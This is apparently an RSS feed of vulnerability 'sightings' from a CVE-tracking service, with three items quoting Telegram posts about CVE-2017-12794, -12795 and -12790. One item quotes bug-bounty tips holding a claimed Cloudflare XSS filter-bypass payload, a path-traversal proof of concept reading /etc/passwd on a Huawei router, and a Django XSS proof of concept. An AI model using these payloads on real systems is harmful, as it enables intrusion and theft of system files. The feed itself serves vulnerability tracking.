<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent sightings.</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent sightings.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Wed, 02 Sep 2026 17:38:27 +0000</lastBuildDate>
    <item>
      <title>dddbf999-e6da-4581-8619-f68ab7a5faee</title>
      <link>https://vulnerability.circl.lu/sighting/dddbf999-e6da-4581-8619-f68ab7a5faee/export</link>
      <description>{"uuid": "dddbf999-e6da-4581-8619-f68ab7a5faee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-12794", "type": "seen", "source": "https://t.me/bhhub/406", "content": "#BugBountyTips of the Day\nI did a writeup on how you can find SSRF vulnerabilities through HTML Injection, especially if you are a beginner in bug bounty. You can find it here. #bugbountytips #infosec #ethicalhacking #CyberSecurity #SSRF #BugBounty   https://t.co/nPpsjbgNrI\n---\nNew CloudFlare XSS bypass   &amp;lt; svg on onload = ( alert ) ( document.domain ) &amp;gt;   r \" on onmouseover = ( alert ) ( document.domain ) //   r * / eval ?. ( value % 2B / ( / . source ) // \" &amp;gt; &amp;lt; input value = confirm autofocus onfocus = ' / * \"  #bugbounty  #bugbountytips  #xss\n---\nFile Upload Mindmap  #Bugbounty #BugBountyTips #infosec #bugcrowd #hackerone #secnhack #cybersecurity  https://t.co/sWasgizuNE\n---\nHUAWEI HG659 Path traversal.  POC:  https://redacted/lib///....//....//....//....//....//....//....//....//etc//passwd  #bugbountytips #lfi  https://t.co/g5S9Fm8dI3\n---\nDjango debug page XSS (CVE-2017-12794).  POC:  http://redacted/create_user/?username=&amp;lt;script&amp;gt;alert(/XSS/)&amp;lt;/script&amp;gt;  #bugbountytips  #XSS #Django", "creation_timestamp": "2021-06-22T13:37:04.000000Z"}</description>
      <content:encoded>{"uuid": "dddbf999-e6da-4581-8619-f68ab7a5faee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-12794", "type": "seen", "source": "https://t.me/bhhub/406", "content": "#BugBountyTips of the Day\nI did a writeup on how you can find SSRF vulnerabilities through HTML Injection, especially if you are a beginner in bug bounty. You can find it here. #bugbountytips #infosec #ethicalhacking #CyberSecurity #SSRF #BugBounty   https://t.co/nPpsjbgNrI\n---\nNew CloudFlare XSS bypass   &amp;lt; svg on onload = ( alert ) ( document.domain ) &amp;gt;   r \" on onmouseover = ( alert ) ( document.domain ) //   r * / eval ?. ( value % 2B / ( / . source ) // \" &amp;gt; &amp;lt; input value = confirm autofocus onfocus = ' / * \"  #bugbounty  #bugbountytips  #xss\n---\nFile Upload Mindmap  #Bugbounty #BugBountyTips #infosec #bugcrowd #hackerone #secnhack #cybersecurity  https://t.co/sWasgizuNE\n---\nHUAWEI HG659 Path traversal.  POC:  https://redacted/lib///....//....//....//....//....//....//....//....//etc//passwd  #bugbountytips #lfi  https://t.co/g5S9Fm8dI3\n---\nDjango debug page XSS (CVE-2017-12794).  POC:  http://redacted/create_user/?username=&amp;lt;script&amp;gt;alert(/XSS/)&amp;lt;/script&amp;gt;  #bugbountytips  #XSS #Django", "creation_timestamp": "2021-06-22T13:37:04.000000Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/dddbf999-e6da-4581-8619-f68ab7a5faee/export</guid>
      <pubDate>Tue, 22 Jun 2021 13:37:04 +0000</pubDate>
    </item>
    <item>
      <title>b78cf8bd-b223-4e37-8bc3-f0e60f0e7fec</title>
      <link>https://vulnerability.circl.lu/sighting/b78cf8bd-b223-4e37-8bc3-f0e60f0e7fec/export</link>
      <description>{"uuid": "b78cf8bd-b223-4e37-8bc3-f0e60f0e7fec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-12795", "type": "seen", "source": "https://t.me/cibsecurity/4246", "content": "ATENTION\u203c New - CVE-2017-12795\n\nOpenMRS openmrs-module-htmlformentry 3.3.2 is affected by: (Improper Input Validation).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2019-05-10T18:32:12.000000Z"}</description>
      <content:encoded>{"uuid": "b78cf8bd-b223-4e37-8bc3-f0e60f0e7fec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-12795", "type": "seen", "source": "https://t.me/cibsecurity/4246", "content": "ATENTION\u203c New - CVE-2017-12795\n\nOpenMRS openmrs-module-htmlformentry 3.3.2 is affected by: (Improper Input Validation).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2019-05-10T18:32:12.000000Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/b78cf8bd-b223-4e37-8bc3-f0e60f0e7fec/export</guid>
      <pubDate>Fri, 10 May 2019 18:32:12 +0000</pubDate>
    </item>
    <item>
      <title>d7f3e8e9-ecd0-428b-baca-7b6c5d1535ea</title>
      <link>https://vulnerability.circl.lu/sighting/d7f3e8e9-ecd0-428b-baca-7b6c5d1535ea/export</link>
      <description>{"uuid": "d7f3e8e9-ecd0-428b-baca-7b6c5d1535ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-12790", "type": "seen", "source": "https://t.me/cibsecurity/4213", "content": "ATENTION\u203c New - CVE-2017-12790\n\nMetinfo 5.3.18 is affected by: Cross Site Request Forgery (CSRF). The impact is: Information Disclosure (remote). The component is: admin/index.php. The attack vector is: The administrator clicks on the malicious link in the login state.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2019-05-09T20:27:02.000000Z"}</description>
      <content:encoded>{"uuid": "d7f3e8e9-ecd0-428b-baca-7b6c5d1535ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-12790", "type": "seen", "source": "https://t.me/cibsecurity/4213", "content": "ATENTION\u203c New - CVE-2017-12790\n\nMetinfo 5.3.18 is affected by: Cross Site Request Forgery (CSRF). The impact is: Information Disclosure (remote). The component is: admin/index.php. The attack vector is: The administrator clicks on the malicious link in the login state.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2019-05-09T20:27:02.000000Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/d7f3e8e9-ecd0-428b-baca-7b6c5d1535ea/export</guid>
      <pubDate>Thu, 09 May 2019 20:27:02 +0000</pubDate>
    </item>
  </channel>
</rss>
